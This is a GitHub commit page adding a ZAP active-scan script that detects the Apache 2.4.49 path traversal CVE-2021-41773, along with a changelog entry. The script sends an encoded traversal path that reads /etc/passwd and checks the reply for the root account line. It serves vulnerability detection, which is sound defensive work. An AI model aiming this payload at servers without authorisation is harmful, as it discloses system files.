Skip to content

Commit fcadb8f

Browse files
authored
Merge pull request #248 from kingthorin/cve202141773-apache
add: cve-2021-41773-apache-path-trav.js
2 parents 53ffac7 + dd6a5c6 commit fcadb8f

File tree

2 files changed

+95
-0
lines changed

2 files changed

+95
-0
lines changed

CHANGELOG.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
88
- authentication/OfflineTokenRefresh.js - refresh oauth2 offline tokens
99
- httpsender/AddBearerTokenHeader.js - refresh oauth2 offline tokens
1010
- targeted/WordPress Username Enumeration.js - A targeted script to check for WordPress Username Enumeration via author archives
11+
- targeted/cve-2021-41773-apache-path-trav.js - an active scan script to test for Apache 2.4.49 CVE-2021-41773 path traversal.
1112

1213
### Changed
1314
- Update minimum ZAP version to 2.11.0.
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
/**
2+
* Scan rule for Apache 2.4.49 path traversal CVE-2021-41773.
3+
* Based on: https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
4+
*/
5+
6+
var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender")
7+
var Model = Java.type("org.parosproxy.paros.model.Model")
8+
var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference")
9+
var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader")
10+
var Control = Java.type("org.parosproxy.paros.control.Control")
11+
var ExtensionAlert = Java.type("org.zaproxy.zap.extension.alert.ExtensionAlert")
12+
var session = Model.getSingleton().getSession();
13+
14+
// Print Statements using script name
15+
function logger() {
16+
print("[" + this["zap.script.name"] + "] " + arguments[0]);
17+
}
18+
19+
/**
20+
* A function which will be invoked against a specific "targeted" message.
21+
*
22+
* @param msg - the HTTP message being acted upon. This is an HttpMessage object.
23+
*/
24+
function invokeWith(msg) {
25+
26+
var url = msg.getRequestHeader().getURI().toString();
27+
var alertName = "Apache Path Traversal - CVE-2021-41773"
28+
var alertDesc = "[CVE-2021-41773]\nA flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. " +
29+
"An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside " +
30+
"of the document root are not protected by \"require all denied\" these requests can succeed. Additionally this flaw could " +
31+
"leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only " +
32+
"affects Apache 2.4.49 and not earlier versions."
33+
var alertSol = "Upgrade to Apache 2.4.50 or newer."
34+
var alertReference = "https://httpd.apache.org/security/vulnerabilities_24.html\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-41773"
35+
var cweId = 22; // Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
36+
var wascId = 33; // Path Traversal
37+
38+
var attackPath = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd";
39+
40+
// To check if script is running
41+
logger("Testing Script against URL - " + url);
42+
43+
msg.getRequestHeader().getURI().setPath(attackPath);
44+
var connectionParams = Model.getSingleton().getOptionsParam().getConnectionParam();
45+
var sender = new HttpSender(connectionParams, true, 6);
46+
sender.sendAndReceive(msg);
47+
var status = msg.getResponseHeader().getStatusCode();
48+
var rebody = msg.getResponseBody().toString();
49+
var re = /root\:x\:0\:0\:root/g
50+
51+
// Checks to make sure that the response indicates the test was successful
52+
if (status === 200 && re.test(rebody)) {
53+
re.lastIndex = 0
54+
var alertEvidence = re.exec(rebody);
55+
customAlert(
56+
pluginid,
57+
3, // risk: 0: info, 1: low, 2: medium, 3: high
58+
3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed
59+
alertName,
60+
alertDesc,
61+
attackPath,
62+
alertEvidence,
63+
alertSol,
64+
alertReference,
65+
cweId,
66+
wascId,
67+
msg,
68+
url
69+
);
70+
};
71+
logger("Script run completed.");
72+
}
73+
74+
/**
75+
* Raise an alert.
76+
* @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html
77+
*/
78+
function customAlert(pluginid, alertRisk, alertConfidence, alertName, alertDesc, alertAttack, alertEvidence, alertSol, alertReference, cweId, wascId, msg, url) {
79+
var extensionAlert = Control.getSingleton().getExtensionLoader().getExtension(ExtensionAlert.NAME);
80+
var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg);
81+
82+
var alert = new org.parosproxy.paros.core.scanner.Alert(pluginid, alertRisk, alertConfidence, alertName);
83+
alert.setDescription(alertDesc);
84+
alert.setAttack(alertAttack);
85+
alert.setEvidence(alertEvidence);
86+
alert.setSolution(alertSol);
87+
alert.setReference(alertReference);
88+
alert.setCweId(cweId);
89+
alert.setWascId(wascId);
90+
alert.setMessage(msg);
91+
alert.setUri(url);
92+
93+
extensionAlert.alertFound(alert, ref);
94+
}

0 commit comments

Comments
 (0)